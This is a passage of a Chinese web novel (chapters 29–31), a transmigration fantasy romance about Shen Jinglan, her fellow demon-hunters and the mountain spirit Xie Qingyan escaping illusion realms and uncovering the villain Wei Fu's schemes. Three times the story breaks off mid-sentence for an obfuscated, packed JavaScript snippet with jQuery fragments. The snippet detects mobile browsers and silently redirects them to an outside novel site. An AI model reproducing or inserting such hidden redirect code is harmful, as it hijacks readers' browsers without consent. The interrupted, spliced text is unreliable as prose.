几人都已疲惫不堪,不知道下一步该做什么,也不知道下一个幻境什么时候到来,将要把他们带到何处,少年初入世,短暂地陷入了迷茫。
裴玄身为大师兄,便带头道:“眼下卫符消失,不如我们稍作休整,再做打算。”
秦秋赞同:“也好,昭明和阿兰身子还未痊愈,谢清言还未醒,也许她吸收山的力量需要时间,不如再等等。”
沈惊澜靠在冰凉的黑石上,一股股暖流涌入体内,身体在高强度的紧绷之后一下子软了下来,思绪放松之后,刚才的一幕幕潮水般涌入脑海中。
她杀了“人”,未来也许会杀更多的人和妖,为自保,她已经坦然接受了这一点,只是一想到此,还是会忍不住心慌手抖。
裴玄注意到她的不适,掌心残留的微凉的温度如同烧红的热铁不断炙烤,让他不自觉地关注沈惊澜的一举一动:“阿兰,还在想刚才的事?”
他说完便看向一旁,垂下眼皮挡住眼中溢出的情绪。
沈惊澜低头盯着自己的手,在满地尸体的街头,望不到尽头的黑夜之中,她清楚地感觉到裴玄手掌的炙热。
还有那时空中漂浮的小字:
“【裴玄好感度】:60%。请务必高度重视好感度进度,采取必要措施推动任务完成。”
头疼。每天都在死亡边缘试探,沈惊澜几乎没有心力再去思考其他的事情。
沈惊澜:伟大而智慧的系统可以给点提示吗?
系统:不能。
沈惊澜:好的你可以滚了。
如今陷入尴尬的境地,裴玄以为自己把感情藏在心底无人察觉,敏锐的秦秋瞧出一些端倪,一心扑在沈惊澜身上的卫昭明自动屏蔽了其他干扰,带着系统的沈惊澜惟有泪千行。
沈惊澜深呼一口气,再次抬眸时已换上了深情脉脉的眼神望着卫昭明:“阿兰没杀生过,第一次杀妖自然是怕的,但只要想到是与昭明一起,便什么都不怕了。”
“若真与昭明共赴黄泉,那我也没有什么遗憾了。”
卫昭明本来在打坐养神,听她这样一说,身子一抖,“哧”地笑出声来。
“你还是连名带姓地叫我吧,不然总觉得你话里藏锋,杀人无形。”
秦秋听他这样一说,也忍不住笑了起来:“昭明嘴上这样说,心里却不是这样想的吧?”
卫昭明低头一笑,沈惊澜瞥到了其中泛起的酸涩。
他知道那都是她唬人的说辞,却还是欣然接受。“她还有家乡的情郎呢,跟我死在一起岂不是太亏了?”
这个话题让沈惊澜直冒汗,她不太擅长处理感情问题,于是连忙转移话题:“说来也怪,本来以为之前过多使用船山之力,短时间内应该不会再起作用,可刚才我感觉到体内的船山之力前所未有的强大。”
当时她没来得及细想,现在冷静下来,心里生出了不好的预感。
“你们谁能给我一掌?”
秦秋收起笑意,凝重道:“你的意思是,船山之力可能消失了?”
沈惊澜点头:“所以需要一个人来试一下。”
话音刚落,一个黑影突然冲到沈惊澜面前,骷髅般的手深深陷入她纤细的脖颈。
沈惊澜的脸瞬间涨成紫红。
“谢清言你要干什么!”其他人同时掏出武器,然而还未来得及出手,谢清言手的关节发出“啪啪”的响声。
她的手指一节一节扭曲,很快如同枯松的细枝,脱离了沈惊澜的脖颈。
他们迅速放在沈惊澜身前,紧盯着谢清言下一步动作。
谢清言的身体一下脱了力,瘫倒在地,一双清冷的眼眸注视着漫空星子,没有聚焦,尽是虚妄。
沈惊澜猛咳不止,狠狠吸了几口气才缓过来。她透过身前几人间的缝隙瞟去,谢清言的身体依旧枯瘦,脸色土灰如死人。
“你不是要试一试?你体内已没有船山之力。”谢清言没有看她,声音平淡。
沈惊澜心有余悸地摸摸自己的脖子,有些失落,没有船山之力,她更无法自保了。
她开口声音还带着沙哑:“你好歹提前说一声,让我有点准备。”
说完觉得不对劲:“刚才你都听到了?你一直是醒的?”
“醒了。”
“却回不去了。”
她的一番话让大家满头雾水,秦秋小心两步走近,收起流英锤,问道:“回哪里?”
谢清言依旧望着天空,声音飘渺:“白梅灯笼没了。”
他们这才意识到谢清言很宝贝的灯笼不见了。
“卫符拿走了灯笼?”秦秋顺着她的话猜测。
“卫符毁了它。”谢清言木然的眼睛盈满泪水。
“我想起来了。”
“原来我真的在这里待了百余年,每一天都在循环重复。”
一滴眼泪从眼角滑落,沿着干涸的皮肤一路蜿蜒滴入泥土中。谢清言瑟缩在大氅中,微微发抖。
沈惊澜忍不住问道:“到底发生了什么?这个灯笼究竟是什么来头?”
谢清言望着星星浅浅笑了一下:“今天是大年初一。”
“以前在云山的时候,每年大年初一,山里的百姓和妖怪都会做一盏绘着红梅的红灯笼,挂在山里的树上,夜里远远望去满山璀璨,甚是好看。”
“他们会一起祈祷新的一年风调雨顺,平安顺遂。”
每每这时,谢清言都会用微风作手,轻抚他们的头。
他们都明白,这是山都的回应,山都会保佑他们安稳。
“那年初一深夜,山里一对耄耋之年的老夫妻蹒跚爬到山腰,在一枝低垂的树枝挂灯笼时不小心摔倒,我用山风把他们托起救了他们。”
“他们面朝山顶跪下,说感谢我多年照拂,希望死后葬在这棵树下,来世愿作山中一棵树,为后人乘凉。”
谢清言的声音轻缓,一向冷淡的她此刻终于有了人味。
她不急不慢,其他人也不催,并肩坐成一排,凝神聆听,渺远的声音和淡淡的青草香仿佛把他们带到了云山的那个夜晚。
“我说,请为我起个名字吧,我活了快三百年,还没有名字。”
于是老人拾起一堆落叶,在每片叶子上各刻了一个字,让谢清言自己选择。
“我用风把叶子吹起,其中三片落到了老人的手上,从此我就有了名字:谢、清、言。”
“可老人命数已尽,那晚他们回家之后便于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717039|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死于梦中。”
谢清言第一时间感受到了他们死亡,两百余年间她送走了许多人,也送走了许多妖,看惯了生死,可在她获得名字的第一晚,她突然对死亡有了更确切的感受。
整个山体都在难过。
于是她把漫山的红梅灯笼变为白梅灯笼,以期为他们送行。
“后来永安王带人来放火烧山,我身受重伤护下来一只灯笼,将山中残留的所有的人气、妖之精魂都注入灯笼中。”
“我伤得太重,时常精神恍惚,但只要带着灯笼,我就记得我的名字,记得我该做什么。”
“我确实伤得太重了,脑袋也糊涂,”谢清言苦笑,“在第一次见到卫符时不知道他的真实身份,竟没有选择杀了他。”
“后来卫符把我掳走,毁了我的灯笼,我才想起来原来这样的场景已经重复了不知多少遭。”
“他用卑劣的手段吸走了我的法力,想利用我在今晚张衍攻城时蛊惑士兵心智,屠杀城中百姓。”
沈惊澜道:“如此看来历史上的屠城确实为他一手策划。幻境之中我们几个是他计划之外,让他不得不引出一部分士兵和
百姓来对付我们,我们逃离之后,屠城仍在继续是吗?”
谢清言点头:“百余年来也闯进过几个除妖师,从未有人能阻碍幻境的发展。”
“全城杀之,全部死无葬身之地。”
裴玄握紧了拳头,声音低沉:“他为何这样做?他究竟想要什么?”
究竟为了什么,要烧一山之民,要屠一城之命!
“名垂青史。”卫昭明突然道。
“荒唐!”裴玄不可置信,“若真是如此,为何要费这么多波折?”
秦秋亦不敢相信:“若要名垂青史,师祖制服谢清言便已足够,且不论他用什么手段,一个除妖师能独身降山都已是前无古人后无来者,为何还要苦心经营,葬送这么多人性命?”
谢清言依旧倒在地上,皱紧眉头想努力回忆起之前的事,却无济于事:“我没有幻境之外的记忆,只记得幻境中我被卫符控制之后一直如行尸走肉,直到祝红月将我救走我才短暂得以解脱,后来我心智皆失走火入魔,于万州与卫符大战,万州百姓死伤无数。”
她说得轻轻巧巧,仿佛百余年来重复的折磨不过是闲来翻看几页话本,唏嘘感慨一下书中人的波折。
“如今你们救了我,情况已然不同,也许这是我唯一离开这里的机会。”
沈惊澜却有点明白卫昭明的意思了:“张衍屠城之后你们还记得发生了什么吗?赵明舟攻入京城大败张衍,这就是卫符所说要送给永安王的大礼。”
这份礼物,是民心,是整个天下。
“若永安王事成,他就不仅仅是天下除妖师之首,而是一个新的王朝一人之下万人之上的国师!”
几人打了个冷战,若真是如此,卫符便是个亘古未有的彻头彻尾疯魔的怪物。
谢清言在云山远离朝堂,不懂其中的弯弯绕绕,她继续道:“我不知道卫符究竟是怎么想的,但有一点阿兰说的不错,幻境的关键在于大河,我与卫符双双沉入河中便会开启新的轮回。”
“而那条河,本不存在。”
29. 第 29 章
“不存在?”沈惊澜不明白,“不存在你与卫符为何会坠入河中?”
“为何坠入河中?”谢清言呆愣地望着夜空,眼神逐渐恍惚:“我,我不知道。”
她实在是虚透了,不过说了会话,目光就已经失去了聚焦。她眉间干涸的皮肤微微皱起,半闭着眼睛低声呢喃:“这是在哪儿?”
糟了,她这么快就神智不清了。
沈惊澜连忙到她身边抱着她的肩膀扶起,浑身的骨头没有肉,轻得像个小孩子。“你醒醒,你什么都不记得了吗?”
谢清言瘫在沈惊澜怀中,空荡荡的衣袖被山风吹起,扑到沈惊澜的脸上,带着淡淡的梅香。她的声音甚至敌不过风声,沈惊澜凑到她耳边,才勉强听到:“我要帮你……我们,要一起离开这里。”
一起离开。
沈惊澜呼吸一滞,她没想到到了这个时候谢清言居然还记得妖狱中她的承诺。
“为什么?”沈惊澜抚平她的衣袖,用仅她二人能听到的声音问。
她也不知道自己在问什么,也不知道自己想要一个什么答案。
半晕半醒之间,谢清言勉强扯动着脸上的皮肤,想对着她笑,却因为脸颊太过凹陷而显得狰狞:“因为你跟我一样。”
萍水相逢,几面之缘,谢清言就像一个未经世事的天真的孩子,只是因为她们都是山都,一个被害的失去法力,一个被夺走自己的家园,她便把一颗心毫无保留地端给沈惊澜。
如同亘古绵延的大山,古拙沉静,不屑于遮掩。
沈惊澜突然有一种深深的负罪感。谢清言愿意帮她,完全是因为这个身体是沈惊澜,只是同类的惺惺相惜,与身体里的灵魂是谁并无关系。
她仗着这副身体获得了船上的力量和谢清言的信任,如果他们知道自己不是真正的沈惊澜呢?
还会这么毫无保留的施以援手吗?
“多谢。”沈惊澜红着脸应了下来。
“可你的身体……我们能做什么?”
谢清言闭上了眼睛。
细细小小的树枝从她四肢皮肉里钻出,朝着地面慢慢生长,沈惊澜心头一动,轻轻把她放到地上,退回几人身边。
只见密密麻麻的树枝扎进土地,将谢清言与这座小山紧紧连在一起。
“刚才她跟你说了什么?”卫昭明见她脸色不对劲,一边盯着谢清言一边问。
沈惊澜恢复面色如常,随口胡诌:“她说她喜欢我,离开幻境之后想带我回云山。”
她不想说,卫昭明便没再追问。
很快,树枝上发出点点花苞,暗红色的花苞内吐出一点白雪般的晶莹,在暗褐色的树枝间,似夜空中的星子坠落红尘之上。
裴玄道:“山都生于山,取于山,有山在便不会亡。谢清言想吸收这座山的精气,这是她活下去的唯一办法。”
白玉般的花瓣挣脱了花苞的束缚,在黑色的幕布上绽放。
浅黄绿色的荧光如同萤火虫一般从干冷的泥土中飘起,游走在一朵朵白梅之间,然后倏地钻入连接的树枝中,消失不见。
沈惊澜感觉到山的能量在消失,已经无法给她提供能量。
这样也好,省得恢复太快再惹怀疑。
渐渐的,黄绿色的荧光越来越多,将细细的树枝团团围住,如同火焰般在谢清言的身下炙烤。几棵松树的松针纷纷飘落,下了一场针叶雨,空气中弥漫着清冽的松香,伴着树干干枯折断的声音按摩耳廓。
残雪融化,泥土中的水分迅速蒸发,风一吹,枯草枯树枯了的泥土瞬间化为碎末,“咔嚓”“咔嚓”,不断传来细小的生命坠落的声音,而后万物化为烟尘被风吹散。
一时间漫天黄沙碎屑,裴玄用剑在地上画了个圈将四人与外界隔绝。
很快脚下的泥土被完全吹散,整座山完全变得光秃秃,露出掩盖在下面的青黑的石头。
又过了一会石头开始出现无数细小的裂缝,紧接着地面开始颤动,裂缝随之扩大,巨网一般四面蔓延。
裴玄面色凝重:“一会恐怕山要塌了,阿秋,你保护好自己,昭明和阿兰就交给我。”
“放心吧大师兄,我虽碰不到你们,却可以为你们护阵。”
沈惊澜不放心地问:“吸收这一座山的力量,谢清言的法力能恢复几成?”
卫昭明道:“此山看起来年份不长,生灵不多,灵气不多,但也足够普通大妖恢复□□成功力,谢清言被烧山,在山都中算不上最厉害,大约够让她恢复个六七成。”
“有一事我一直觉得奇怪。”卫昭明话锋一转。
“何事?”
卫昭明眉头紧锁:“永安王府,我们埋伏卫符时,明明已经做了万全的准备,正常情况下不会被卫符得逞,可是当时卫符身上有极重的妖气。”
“可那时他还没有吸收谢清言的法力,那他身上的妖气从何而来?”
当时情况太过紧急,卫符抓走谢清言后他们马上进入下一个幻境,几乎没有时间去思考这些问题,现在谢清言开始恢复法力,山间妖气渐盛,他才重新想起此事。
裴玄补充道:“当时附身于我,像不像妖界的摄魂术?”
几人心下一凛,一下便都明白这意味着什么。
身为除妖师的卫符不知何时起开始修炼妖术,而且法力已经十分强大。
“既然他可以吸收谢清言的法力,自然也可以吸收其他妖的,以妖为养,自然比普通修炼要快得多,也要厉害得多。”
沈惊澜瞠目:“名垂青史受万世供养还不够,他还要称霸妖界不成?”
她突然想起来以前看过的影视作品里的反派,当反派力量足够强大,远在常人之上,他们还要追求什么?
追求力量?
吸收谢清言的力量之后,在真实的世界中应当鲜有对手。
追求名?
只要助永安王夺得天下,名自然会有。
还能追求什么?
“长生。”沈惊澜想到这里脱口而出。
不止那些反派,自古以来,九五至尊的帝王概莫能外。
她被自己的想法吓了一跳,但静下心来细想,却也合理,除此之外她想不到其他的理由。
难道是有什么童年阴影所以要毁天灭地?
显然不是,否则也不会创建锦绣城。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717040|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你的意思是卫符是要追求长生不老?”
沈惊澜连忙解释:“这只是我的一个猜测,也许他只是追求极致的强大,也许他已经是最强大,但凡人之躯终究不过百年,百年之后大家都是尘归尘,他所费尽心思拥有的一切都会化为泡影,所以我觉得他修炼妖术很有可能是为了延长寿命。”
“我听过一个传说,古代有个皇帝一统天下后便沉迷寻找长生之术,召集全国方士向东出海寻仙山,终不得归。”
秦秋点头:“虽然只是猜测,但我觉得有道理。人左右逃不过生老病死,越是位高权重之人,拥有得越多,便越怕死。”
脚下的石头裂缝越来越大,大地震颤得更加强烈,四人脚下的圆圈之外已经出现一道道两三寸宽的沟壑。
卫昭明抓住沈惊澜的手腕,帮她稳住摇晃不定的身形。
冰凉的手指透过清透的薄纱触及沈惊澜的皮肤,沈惊澜心头微微一漾,望着卫昭明的侧脸,明明自己的身子已经很差,却还要在她面前装作没事人,还要逞能地保护她。
被沈惊澜的目光盯得不自在,卫昭明假意坏笑道:“你再这么盯着我,我可要当作你对我动心了。”
“你别说话。”
他笑意未减,语气却十分认真地嘱咐:“说正经的,一会山塌了你就牢牢抓紧我。”
“当然你若不抓紧,我也不会松手的。”
狂风骤停,时间在这一刻静止。
一时之间漫天的沙土凝固在空中,天地陷入一片死寂,唯有谢清言周身的荧光还在盈盈闪动。
四人心跳到了嗓子眼。
荧光中的谢清言突然直直地站起身子,而后黄沙坠地,天崩地裂,脚下的山体霎时散成无数的碎石垮塌。
“小心!山要垮了!”
沙石迷住了眼睛,耳边只有山体崩塌的轰鸣,沈惊澜在强烈的气流中控制不住自己的身体,只感觉到有人托着自己的腰把自己搂在怀里。
清冷的身体带着淡淡的草药味,是常年用药沾染上的,不苦不呛,草本的味道让人莫名的心安。
沈惊澜不知怎得想火海中,就在她以为两人要命丧黄泉时,卫昭明催动体内的毒素耗尽了自己筑起一座美丽的冰雕。
“被你利用我竟觉得开心,至少对你来说我不是无用之人。”
“可我对你来说,真的无所谓吗?”
“我真想剖开你的心,好好看看你到底是怎么想的。”
那时的话如今想来竟觉得刺耳。她突然不想去回想卫昭明当时委屈破碎的样子。
“卫昭明。”她埋在卫昭明的怀中,没有理由的突然很想唤他的名字。
卫昭明与裴玄紧紧贴在一起,靠着裴玄的力量让身体不至于急速下坠:“别说话,当心沙石伤了喉咙。”
“在火海中你催动毒素凝固大火,是不是也算是沈惊澜救了我们?”
“现在不是说这个的时候。”
沈惊澜把头埋得更深了些:“你让我说完,其实后来我做了个梦,梦见你再次遇见沈惊澜并没有与她为敌。”
“若你真的再次遇见她,会不死不休吗?”
30. 第 30 章
“你……是在担心我不是她的对手,被她所害吗?”
隔着重重几层衣衫,沈惊澜在急速下降的失重感中,清晰地感觉到卫昭明瘦削的胸膛之下,一颗心拨浪鼓一般扑通扑通快速跳动。
“……”沈惊澜没想到自己的话竟然还有这层意思,“那,那你就当作是吧。”
卫昭明的声音中多了几分心悦:“她作恶多端,自然要不死不休。”
我作什么恶了?!沈惊澜刚开口想为自己辩解,失重感突然消失,他们悬停在空中,一瞬的茫然之后,身体被一股强大的气流卷起,随着万千碎石逆天而上,汇成一股泥沙的通天河。
裴玄拔出青风剑悬在面前,青风剑发出淡青色的光芒将四人笼罩,隔绝了汹涌而上的碎石,并形成向下的力量与之相抵,让身体勉强保持平衡。
“我们被这座山的力量吸附,若不赶紧离开这股沙石流,很有可能会被这股力量撕裂。”裴玄凝重道。
沈惊澜眯着眼睛向下望去,碎石之中,谢清言立在洪流的中心,黑色大氅高高扬起,露出她纤瘦的身影。
只见她点脚一跃,身姿轻盈,经过之处沙石皆避她而去,眨眼之间便到他们面前,伸出右手,胳膊和五指变成树枝迅速生长,穿过青色的光芒环绕在他们周围。
“抓紧了,我带你们离开。”
“阿秋你可以吗?”
秦秋伸手试着握住树枝,竟然抓住了它。
谢清言没给他们太多反应的时间,树枝一下子长成一张网,将他们牢牢地圈在中间,随后纵身跃下,几个跳跃离开了洪流之中,在几里外的一片小树林中落了下来。
刚落地沈惊澜还不适应,懵了好一会才缓过来。
远处碎石泥沙还在翻涌,谢清言抬起手掌,法力穿过树林直直刺入洪流之中,紧接着碎石化为齑粉,与泥沙一起,被一阵平地而起的狂风吹散,弥漫开来。
手里好像抓着什么东西,沈惊澜低头一看,卫昭明的手被她死死攥住,血液不通涨成了深红色,她连忙松手:“对不住对不住,刚才有点紧张。”
卫昭明甩甩手露出一个不怀好意的笑:“无妨,你想抓便抓,我不会介意。”
此人简直神经病。沈惊澜懒得理他,转而向秦秋:“秦姐姐之前触碰不到幻境里的人,为何刚才能抓住谢清言呢?”
秦秋看向谢清言:“我也不知,可是你用了什么法术?”
谢清言望向远处,东方城中方向,地平线上突出一缕鱼肚白,刺破黑暗的巨网。
一夜的杀戮后,太阳照常升起,会平等博爱地照亮每一寸土地,白雪、鲜血、爆竹、泥土,一切的一切都会在无数个日升日落中成为历史的尘埃,以致百余年后闯进来的四个年轻人对这段过往仅仅只有一个模糊的印象。
原来自己数百年的曾经,也不过薄得如同一页纸。
谢清言深吸一口气,干冷的空气直冲鼻腔,抚平万千的思绪。她依旧神色淡然:“吸收这座山的力量后我才想起来。”
“京城地处平原,周围本无山。这座山正是我为逃离这里而造。”
原来在她被困在这里的一百多年,不知道循环了多少遍的生死中,她也曾短暂的清醒,想要自救。
“此话何意!”
“这个幻境我不知道循环了多少次,千次?万次?”比起岁月蹉跎久,更可怕的是根本意识不到自己被困在时间的迷雾中,茫然地不知该做什么。“其中有几次,我短暂恢复清醒,试了许多方法都无法离开这里。”
第一次她没有逃过卫符的陷阱,清醒地感受到体内的力量渐渐被吸走,人偶一般被卫符提到京城,以她的身份蛊惑城中士兵屠城。
她记得当时被卫符踩在脚下,如同一滩烂泥,眼睁睁看着人们失去神智开始厮杀。
这不是她想要的,她下山只是想杀掉卫符,为云山报仇,怎会走到这一步?
“每一次清醒时,我都已经被卫符吸去法力,所以我打不过他,只能跑。”
然而烂泥被人踩在脚下,却可以生出绿芽。
“他的身体无法在短时间内化掉我所有的法力,所以并没有把我完全吸干,我用仅剩的法力逃走,毁了城外一片地建起一座山。”
“那几次我没有与卫符坠入河中,山起之时我便失去了意识。”
“第一次,所筑不过十余米的小土丘,而后二十米、三十米,直到百米。”
沈惊澜听得眼前起了一层水雾。
在一次又一次的绝望中,堆起一点希望;在看不到出口的迷雾中,一点一点汇聚成一盏灯,一盏提醒着她来路和归处的白梅灯。
她清醒的时候该有多痛苦,不知下一次清醒为何时,不知这一次次逃脱堆起的小山在何时能送她回家。
谢清言欣慰地抿起嘴角,已经有点血肉的脸庞终于露出了正常的笑容:“终于,我的努力没有白费。”
“多谢你们出手相救,否则我不知道下一次清醒会是什么时候,也许那时又一个百年已过。”
“你们不是好奇为何秦秋能触碰到我?因为此山不仅是我用仅剩的力量所化,更是一处与幻境之外的世界的连接,幻境之外的你们,也正是因为走这里,才进入幻境。”
卫昭明恍然大悟:“原来那只鸟是幻境之鸟,所以离开幻境之后很快便死了。”
“若要能触碰到幻境中的人,必须有幻境与现实的连接点,我与阿兰是因为鸟,师兄是因为剑,师姐则是因为山。”
沈惊澜偷偷揩去眼角的泪珠,心里因为谢清言而更有了力量。
什么狗屁炮灰命,她才不信,设定越让她炮灰,她便越要强大,强大到可以逆天改命,强大到可以掌握自己的命。
“那你可记起大河的方位?”
谢清言摇摇头:“你们应当也注意到了,幻境并非连贯,我与卫符最后大战于万州,死前便突然进入大河的幻境中,那里定属于万州,但据我所知万州并没有那样宽阔浩大的河流,我猜河流之兴也与卫符有关。”
沈惊澜握紧拳头,带着不甘心:“难道除了等幻境变换,我们什么都做不了吗?”
秦秋上前,温润的手覆住她的拳头为她展开,安慰道:“阿兰别急,我们至少救出了谢清言,此次定能跳出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717041|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
循环,打破幻境。”
沈惊澜扯出一个笑,看着秦秋芙蓉般的面庞,一双杏眼如同春日山间的东风,总是和煦而又坚定有力,明明是这样好的人,为何裴玄对她的好感度就是不涨?“我相信秦姐姐,我们一定能跳出幻境,离开这里。”
几人便席地而坐,一同望着渐渐升起的朝阳。
“卫昭明,秦姐姐、裴大哥、谢清言,”沈惊澜认真地唤了他们一遍。
郑重道:“新年快乐。”
裴玄看着她朗然一笑,眼中不再有迷雾:“阿兰新年快乐。”
“新年快乐。”秦秋和谢清言亦笑道。
卫昭明没有说话,低着头不知道在想什么。
沈惊澜胳膊肘碰了碰他,歪着头企图看清他碎发之下的表情:“就算我拒绝了你,也不用这么小气吧?”
卫昭明抬起眼眸,眼睛被晨光映出朝霞万点,让本就秾丽的眼眸更加夺目逼人。“我只是在想,你那么认真地祝我新年快乐,我该怎样回礼。”
一旁的三人识趣地捂住耳朵,往远处挪了挪。
沈惊澜耳朵发热,苍白的脸上染上一层可以的红晕,故意别过脸不去看他:“只是一句祝福,你那么较真做什么。”
他也有些羞赧,但还是鼓起勇气靠近沈惊澜,声音压得很低,“自从在船山遇见你,似乎总是在受伤。”
回忆起来,确实倒霉。“一起掉进坑中,差点被妖海淹死;一起困在火海,险些被卫符所害;一起在城中杀‘人’,杀得天昏地暗……这样一想,你我确实如你所说,为‘炮灰’之命。”
“但我知道你一直都不甘心。”
“只有一点点机会,你都会牢牢抓住,纵使用尽全力也无法自救,也不过自嘲一句,安然等待命运降临。”
“我时常在想,你到底为何会被几个蠢人从莽山卖到船山,一南一北,若是你,肯定有很多方法可以逃跑。”
“你对我有所隐瞒,你不说,我便不问,只当你真是被卖到船山,恰巧被我们所救。”
原来他心里都清楚。沈惊澜垂着头,盯着脚尖大脑一片空白。
她喃喃道:“你说这些做什么?”
卫昭明笑了笑:“其实你闯入火中救了我后我便想同你说,只是你满不在乎,我不甘心。”
“可是今日在城中差点与你命丧尸堆,我便怕这些话再不说,以我们俩这么炮灰的命,以后不知道还有没有机会说出口。”
沈惊澜连忙捂住他的嘴:“不许这么咒我们。”
眼睛不经意间撞入他带着笑意的眼眸,卫昭明望着她,眉眼在朝阳之中看不真切。“阿兰,祝你新的一年,以后的每一年,都不再是炮灰。”
沈惊澜凝视着他的眼睛出了神。
下一瞬,朝阳消失,他们进入了一下个幻境。
新的一年,旧的王朝落幕,新的王朝即将开始。
而对于天下的百姓来说,京城的动荡不过天下一隅,朝代更迭自然是大事,但是新的一年的收成、赋税、婚丧嫁娶、吃喝用度更是大事,对于他们来说,这是个普通的新年,只不过换了个年号。
31. 第 31 章
“祝姑娘,你为何会在这里?永安王呢?”
万州城郊一处荒林中,祝红月带着七八个除妖师,行色匆匆,正巧遇到几人。
幻境真的改变了,按照原来的故事走向,祝红月应当在京城救了谢清言,而后谢清言才与卫符来到万州。
祝红月一身黑色蒙面衣,比之前见她清瘦了许多,若不是一双上挑勾人的眼睛实在太过夺目,几人几乎认不出。
“我们正是来找谢清言的。”祝红月摘下面纱,眼底乌青,眼中布满血丝,没有了万种风情,十分憔悴。
谢清言问:“找我何事?”
谁知祝红月和她身后几个除妖师齐齐单膝跪地,抱拳于胸前,低头恳请道:“请你救救永安王!”
几人皆是一惊,谢清言连忙将她扶起,不解道:“你这是何意?”
闻言祝红月鼻子一酸,通红的眼中多了几分恨意:“那日卫符将你掳走便再也没有出现过,直到张衍攻入京城。”
张衍起兵,赵明舟本欲勤王,然而不料张衍若有神助般,一路北上如入无人之境,以迅雷不及之势攻入京城。
“殿下怀疑是卫符捣的鬼,便立刻派兵赶往京城,却还是慢了一步。”
永安王军队到达京城时,留给他们的,只有一座堆满尸体的死城。
沈惊澜心中一动,控制不住地回想起不久前的情景,仍然心有余悸。“那时我们都在京城,亲眼见城中惨状,实为人间地狱,卫符之恶,千刀万剐不足消。”
祝红月继续道:“王爷入京大败张衍,张衍自知大势已去,弃众兵,率一小队精锐逃离南下。”
“而后卫符便找到王爷。”
那时赵明舟正在收拾京城的烂摊子,城里死了太多人,为了防止尸体腐烂引发疫病,没有时间给剩下的百姓认尸,赵明舟下令立刻把尸体运往京城几里地外。城里的推车几乎都拿了出来,尸体一层压着一层,人都没了人样,一些尸体上还残留着久久未消的黑烟。
他命人挖了数个几丈宽的大坑,在坑底铺满柴火,把尸体一股脑倒入坑中,一把火点燃。
火烧了很久,浓烟滚滚四处弥漫,飘至京城,乌云一般遮天蔽日,漫天尽是点点尸灰,伴着刺鼻的焦臭味。
偏得那几日没有风,一连数日灰尘不散,臭味不消,百姓不敢出门,赵明舟不得不让所有除妖师一起施法生风。
“我们一边施法,一边又不断的有尸灰飘来。”
“数日之后,城中才重见阳光,那时我与其他除妖师法术已经损耗不少,卫符便是此时闯入皇宫。”
沈惊澜道:“他应当不会对永安王下死手。”
祝红月点头:“不错,他想要的,只有王爷能给他。”
当时卫符立于正殿之中被禁军和除妖师层层包围,他依旧一身黑色大氅,肩上落了一层尸灰,但他并不在意。
周身黑烟缭绕,五官沾染上妖气,显得妖邪至极。卫符微微仰起头,乜斜着望向殿上坐在正中的赵明舟:“殿下,哦不对,如今应当叫您一声陛下,这份大礼,您可满意?”
“卫符已经吸收谢清言之力,又早已妖化,我们不是他的对手,眼睁睁看着王爷被他控制成为他的傀儡,情急之下我只能带着他们先逃出来,找你们帮忙。”
祝红月越说越激动:“如今只有你们能救王爷,能救天下,谢清言,我知道你对王爷有怨,我祝红月愿以命相抵,只要你能救王爷,我可以现在就死在你面前!”说着抽出腰间的软剑抵在颈间,视死如归。
谢清言手指夹住软剑,叹了声:“你的命不值钱,自己留着吧。”
祝红月一愣。
“祝姑娘你放心,我们不会放过卫符的,”沈惊澜上前宽慰道,“谢清言还活着,卫符必定亲自来追,你们一路奔波想必很是劳累,我们不如养精蓄锐,再做打算。”
祝红月犹豫了下,还是放下了剑:“也好。”
这里四下荒芜,放眼望去看不到歇脚的地方,几人人生地不熟,只能凭着感觉走。
越走越觉得不对劲,沈惊澜观察着周围的景色,几棵枯树惨淡而立,三两片枯黄的树叶被风一吹便不堪其扰,飘飘坠落,一踩,便是清脆的“咔嚓”声。
“卫昭明,”她拽了拽走在前面的卫昭明的袖子,“你觉不觉得这里的环境有点眼熟。”
经她一提,卫昭明停下脚步,捡起一片落叶映着斜阳余晖细细看去:“这与我们初到这里时似乎是同一处。”
也是这般荒凉,是同一种树,只是现在这里没有尸体。
仿佛回到了原点。
沈惊澜避开身后的祝红月等人,低声道:“按照时间来说,我们初到这里时的幻境实际应该发生在此时,也就是说我们错过了谢清言与卫符最后于大河一战。”
“幻境并非按照时间发展,错过也算合理,”裴玄想了想,继续推测,“如今回到这里,下一步应当是张衍与一队人马交战,赵明舟被困京城,还有谁会与张衍为敌?”
远处传来战马的嘶鸣,百米外,两队人马遭遇,一行人躲在远处,直到厮杀声隐去。
秦秋疑惑道:“我刚才好像听到了女子的声音。”
“不错,与张衍交战的有男有女,阵型散乱,不堪一击。”裴玄一直观察着远处的情况,“更像是临时聚集在一起的普通百姓。”
